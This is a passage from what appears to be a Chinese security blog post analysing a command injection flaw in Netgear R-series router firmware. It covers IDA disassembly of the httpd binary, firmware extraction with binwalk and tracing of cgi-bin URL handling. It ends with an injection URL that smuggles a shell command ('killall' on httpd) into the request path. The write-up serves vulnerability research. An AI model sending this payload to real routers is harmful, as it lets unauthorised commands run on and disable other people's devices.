按照同样的思路,我找到了httpd中有两处函数调用可能调用到了系统函数,一处是popen,另一处是system。
.plt:0000E6BC ; FILE *popen(const char *command, const char *modes)
.plt:0000E6BC popen ; CODE XREF: sub_73F40+3D4_x0019_p
.plt:0000E6BC ; sub_95B44+1BC_x0019_p
.plt:0000E6BC ADRL R12, 0x1086C4
.plt:0000E6C4 LDR PC, [R12,#(popen_ptr - 0x1086C4)]! ; __imp_popen
.plt:0000D69C ; int system(const char *command)
.plt:0000D69C system ; CODE XREF: sub_147A0+D2C_x0019_p
.plt:0000D69C ; sub_147A0+D94_x0019_p ...
.plt:0000D69C ADRL R12, 0x1076A4
.plt:0000D6A4 LDR PC, [R12,#(system_ptr - 0x1076A4)]! ; __imp_system
为了分析执行路径,我用了xrefs的功能,先来看看popen的。
执行路径比较简单,再来看看system的。
我整个人都崩溃了……后来我想到用cgi-bin搜索一下关键字,结果真的还有收获。
.text:000110E8 off_110E8 DCD aCgiBin ; DATA XREF: sub_100A0+1808_x0019_r
.text:000110E8 ; "cgi-bin/"
通过这种方法,我找到了比较外层的函数调用sub_100A0,随后终于抓出了一条线。
这次对我这样对路由比较感兴趣的人来说也是一次学习的过程,下面进入对这个漏洞的详细分析。
0x04 命令注入漏洞分析
首先我们下载R系列路由器的固件。
下载地址:http://support.netgear.cn/doucument/detail.asp?id=2251
然后用binwalk -eM来迭代解压这个固件,获得这个固件的squashfs文件系统,这里生成的.squashfs文件需要用7zip来解压。
生成之后用IDA打开/usr/sbin/httpd,跟入sub_100A0函数,在这个函数中有一处调用。
return sub_19600((const char *)v9, v246, v4);
这里会调用到sub_19600,其中涉及到三个参数,这里v9是我比较关心的,v9是什么呢,在sub_100A0函数中其实比较容易猜测。
if ( !strstr((const char *)v9, "unauth.cgi")
&& !strstr((const char *)v9, "securityquestions.cgi")
&& !strstr((const char *)v9, "passwordrecovered.cgi")
&& !strstr((const char *)v9, "userlogin.cgi")
&& !strstr((const char *)v9, "multi_login.cgi")
&& (strncmp((const char *)v9, "cgi-bin/", 8u) || strstr((const char *)v9, "RMT_invite_")) )
在这个函数中涉及到大量的strstr子字符串比较,其中比较的内容就是某个常量和v9变量,猜测v9变量就是url的值,这里我们就假设v9的值就是exp的定义 /IP-Addr/cgi-bin/;killall$IFS’httpd’
发表评论